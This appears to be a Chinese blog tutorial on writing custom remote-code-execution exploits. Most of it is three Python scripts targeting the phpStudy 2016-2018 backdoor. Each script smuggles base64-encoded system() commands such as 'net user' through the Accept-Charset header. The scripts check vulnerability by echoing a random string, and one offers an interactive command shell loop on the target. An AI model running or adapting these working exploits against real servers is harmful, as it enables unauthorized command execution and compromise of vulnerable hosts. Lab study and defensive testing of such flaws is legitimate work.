定制EXP之RCE

2023-09-22 13:51:21

名词解释
POC (Proof of Concept)漏洞验证代码,验证漏洞的存在性。
EXP (Exploit)渗透、攻击;
完整的漏洞利用工具
RCE
(Remote Code|Command Execute)
* 漏洞的类型
* 在远程目标上执行(任意语言)代码或(系统)命令

手工验证漏洞的问题:

  • 效率
  • 准确性

针对RCE(执行系统命令) 漏洞开发EXP,常见的RCE 漏洞:

  • phpstudy_2016-2018_rce
  • seacms_6.26-6.28_rce
  • sangfor_edr_3.2.19_rce深信服的一款工具漏洞

考虑将写好的EXP 集成到pocsuite3 框架中msf的替代。

无损检测

无损扫描

1. 常见模块介绍

1.1 base64

base64 模块就是用来进行base64 编解码操作的模块。

1.1.1 base64 编码

直接利用模块中函数即可,注意使用二进制形式进行编码。

>>> import base64
>>> s = '''system("whoami");'''
>>> base64.b64encode(s.encode())
b'c3lzdGVtKCJ3aG9hbWkiKTs='
>>> base64.b64encode(s.encode()).decode()
'c3lzdGVtKCJ3aG9hbWkiKTs='
>>>

image-20230921175339757

1.1.2 base64 解码

直接使用函数即可。

>>> import base64
>>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
>>> base64.b64decode(s)
b'system("whoami");'
>>> base64.b64decode(s).decode()
'system("whoami");'
>>>

1.2 string

字符集合模块。

>>> import string
>>> string.
string.Formatter(       string.ascii_uppercase  string.octdigits
string.Template(        string.capwords(        string.printable
string.ascii_letters    string.digits           string.punctuation
string.ascii_lowercase  string.hexdigits        string.whitespace
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
>>> string.printable.strip()
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
>>>

2. 常规EXP 编写

2.1 phpstudy_2016-2018_rce漏洞

2.1.1 漏洞利用脚本

# phpstudy_2016-2018_rce

"""
GET /phpinfo.php HTTP/1.1
Host: 10.4.7.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip,deflate
Accept-Charset: 


"""

import requests
import base64

url = "http://192.168.16.177/phpinfo.php"

cmd = "net user"

cmd = f'''system("{cmd}");'''

cmd = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
    "Accept-Encoding"   : "gzip,deflate",
    "Accept-Charset"    : f"{cmd}"	#在base64编码命令的时候系统命令要加上分号
}

res = requests.get(url = url, headers = headers)

html = res.content.decode("GBK")

offset = html.find("<!DOCTYPE html")

result = html[0:offset]

print(result)

2.1.2 进阶脚本

  • 漏洞存在性测试:无损;
  • 循环执行命令。
# phpstudy_2016-2018_rce

import requests
import base64
import sys
import re
import random
import string

banner = """
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - AJEST
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""

def attack(cmd, url):
    cmd = f'''system("{cmd}");'''
    cmd = base64.b64encode(cmd.encode()).decode()
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }

    res = requests.get(url = url, headers = headers)

    html = res.content.decode()
    offset = html.find("<!DOCTYPE html")
    result = html[0:offset].strip()

    return result

def gen_random_str(l):
    s = ""
    for i in range(l):
        i
        s += random.choice(string.ascii_letters)

    return s

def verify(url):
    random_str = gen_random_str(32)
    cmd = f"echo {random_str}"
    if random_str in attack(cmd, url):
        return True
    else:
        return False

if len(sys.argv) < 2:
    print(banner)
    exit()

url = sys.argv[1]

print(f"Target: {url}")

if not verify(url):
    print(f"The Target is NOT VULNERABLE!")
    exit()

flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")

if flag == "n":
    exit()

info = re.findall(r'http://(.*)/', url)[0]

while True:
    cmd = input(f"<{info}> ")
    if cmd == "exit":
        break
    print(attack(cmd, url))

2.1.3 漏洞检测

"""
设计需求:
1. 加上选项:
    -u/--url             制定检测目标
    -c/--cmd             要执行的命令
    无选项时,输出banner信息
    a. 创建解析对象
    b. 设定选项
    c. 解析选项对象
2. 漏洞检测:无损检测
3. 批量扫描???????
4. 漏洞利用:执行任意命令
"""

import argparse                              #是导入了 argparse 库,它是 Python 标准库中的一个模块,用于解析命令行参数。
import requests
import base64
import string                                #使用string函数
import random                                #随机选择
from pyfiglet import Figlet                  #这是导入 pyfiglet 库中的 Figlet 类,该类用于创建 ASCII 艺术字体。
from termcolor import colored                #这是导入 termcolor 库中的 colored 和 cprint 函数,用于在控制台中打印彩色文本。

banner =''' Usage : python3 *.py -u url -c cmd'''

f = Figlet(font='slant')
print("="*80)
print("*"*80)
print(f.renderText('phpstudy_RCE'))
print("*"*80)
print("="*80)

def attack(cmd):
    cmd = f"system('{cmd}');"
    cmd = base64.b64encode(cmd.encode()).decode()   # cmd.encode():将字符串 cmd 使用 UTF-8 编码转换为字节串。base64.b64encode():使用 Base64 编码对字节串进行编码。Base64 是一种将任意字节数据转换为可打印 ASCII 字符的编码方式。`.decode()`:将编码后的字节串解码为字符串。通过调用 `.decode()` 方法将 Base64 编码后的结果转换回字符串形式。
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding":"gzip,deflate",
        "Accept-Charset": cmd
    }

    res = requests.get(url= url,headers= headers)

    result = res.content.decode("gb2312")
    result = result[:res.text.find("<!DOCTYPE html PUBLIC")]

    return result

# 漏洞检测
def verify():
    random_str = ""
    for i in range(10):
        random_str += random.choice(string.ascii_letters)   # string.ascii_letters 是一个字符串常量,包含了大小写字母 a 到 z 和 A 到 Z。random.choice() 是 random 模块中的一个函数,它接受一个序列作为参数,并从中随机选择一个元素返回。在这里,random.choice(string.ascii_letters) 会随机选择一个大小写字母,并将其添加到 random_str 变量的末尾。

    cmd = f"echo {random_str}"
    
    if random_str in attack(cmd):

        print(colored(f"[+] Target {url} is VULNERABLE","green"))

    else:

        print(colored(f"[-] Target {url} is NOT VULNERABLE","red"))

# 创建选项对象
parser = argparse.ArgumentParser()      #创建一个 ArgumentParser 对象,它将用于解析命令行参数。使用 ArgumentParser 对象来定义命令行参数的规则和格式。通过调用 ArgumentParser 对象的方法,例如 add_argument(),可以添加不同的参数和选项。

# 设定选项
parser.add_argument('-u','--url',help= '指定检测目标',dest= "url")
parser.add_argument('-c','--cmd',help= '要执行的命令',dest= "cmd")

# 解析选项对象
args= parser.parse_args()   #调用 parser 对象的 parse_args() 方法来解析命令行参数。

if not args.url:
    print(banner)
    exit()

url = args.url
cmd = args.cmd

print(f"[+] The Target: {url}")
print(f"[+] The cmd:{cmd}")

verify()

print(attack(cmd))

image-20230921174155689

更多推荐

Docker安装MongoDB

1、查看当前可用版本dockersearchmongo#通过该命令查看可用的MongoDB版本2、获取最新的mongodb镜像dockerpullmongo3、查看镜像dockerimages4、在宿主机上创建需要挂载的文件#创建文件mkdir-p/docker/mongodb/{data,logs}#在准备挂载的目录

【Mysql】MySQL 设计开发规约

MySQL设计开发规约以下规范在大型互联网公司经过了充分的验证,尤其适用于并发量大、数据量大的业务场景。安全无小事,很多公司都曾经因为数据泄露导致用户损失惨痛,所以将安全规范放到了第一位。一、安全规范1.【强制】禁止在数据库中存储明文密码,需把密码加密后存储。说明:对于加密操作建议由公司的中间件团队基于如mybatis

2023年8月京东美妆工具行业数据分析(京东数据运营)

近日,随着李佳琦为花西子品牌怒怼网友一事持续发酵,消费者的目光逐渐转移到这个国货美妆品牌昂贵的单克价格上。“一克眉笔价格高于一克黄金”,引发了不少消费者的讨论与吐槽。花西子眉笔事件尚未平息,在9月12日,一网友晒出之前自己买的花西子化妆刷,实付款919元。套刷是玉石化妆刷(5件套),人造纤维毛,目前官方旗舰店已没有售卖

设计模式之职责链模式

职责链模式:使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将这个对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它为止。这里发出这个请求的客户端并不知道这当中的哪一个对象最终处理这个请求,这些系统的更改可以在不影响客户端的情况下动态地重新组织和分配责任。ConcreteHandler

将自己的代码发布成可以pip安装的包

要将自己的Python代码打包并通过pip进行安装,可以按照以下步骤进行操作:创建一个新的文件夹,并将您的Python代码放入其中。确保您的代码结构是标准的Python包结构,即包含__init__.py文件和其他可能的模块文件。结构示例:your_package_name/__init__.pymodule1.pym

2023世界元宇宙大会进行时,智汇云舟携视频孪生技术与产品亮相

9月20日-22日,由中国仿真学会、中国指挥与控制学会和北京理工大学共同主办的“2023第二届世界元宇宙大会”在上海隆重举行。智汇云舟作为探索元宇宙前沿科技的优秀企业代表受邀参会,并携视频孪生技术与产品在特装展区惊艳亮相。图:大会现场智汇云舟展位本届大会以“虚实相生、产业赋能”为主题,邀请到110多位国内外专家、院士和

如何利用播放器节省20%点播成本

点播成本节省的点其实涉及诸多部分,例如:CDN、转码、存储等,而利用播放器降本却是很多客户比较陌生的部分。火山引擎基于内部支撑抖音集团相关业务的实践,播放器恰恰是成本优化中最重要和最为依赖的部分。火山引擎的视频团队做了份数据统计,在一个很经典的视频业务中,我们在2022年至2023年大约1年半的时间里,针对这个业务进行

el-calendar日历 简易排班

公司物流部要个简易的排班功能,由主管去设置线路,线路绑定上负责人。然后直接往日历里添加。1、隐藏了自带的切换月份,改用了日期选择器。2、禁用了非本月的点击事件,防止点击自动跳转到其他月份。3、添加了点击多选,批量处理,也有单日排班处理。4、拖拽删除排班,代码如下exportfunctiongetFirstDay(mon

一定要知道的 NOI 大纲(2023年修订版)变化

近日,中国计算机学会(CCF)正式发布了《NOI大纲(2023年修订版)》,明确地给出了竞赛的知识范围。CCF于2021年制定完成并首次发布了NOI大纲,大纲发布后,对竞赛组织、教师教学和选手学习发挥了很好的引导作用。根据NOI大纲制定之初的安排,大纲每两年修订一次。CCF最新发布的NOI大纲(2023年修订版),是N

信创办公–基于WPS的EXCEL最佳实践系列 (限制可录入内容)

信创办公–基于WPS的EXCEL最佳实践系列(限制可录入内容)目录应用背景操作过程1、数据有效性(支出证明单)2、如何完成数据有效性的使用(差旅报销申请表)3、清除数据验证4、利用圈释无效数据,验证已输入数据的有效性。5、灵活性调整数据有效性。应用背景本章内容主要讲解:如何在WPS上利用excel去获取数据,如何通过手

dockerfile用ENTRYPOINT好还是用CMD好

在Dockerfile中使用`ENTRYPOINT`和`CMD`都有其用途和优劣势,具体取决于你的应用和需求。这两个指令的主要区别在于如何处理容器启动时的命令参数。1.`CMD`指令:-`CMD`用于定义容器启动时的默认命令,但它可以在运行容器时被替代。如果在运行容器时提供了命令参数,那么这些参数会覆盖`CMD`中定义

热文推荐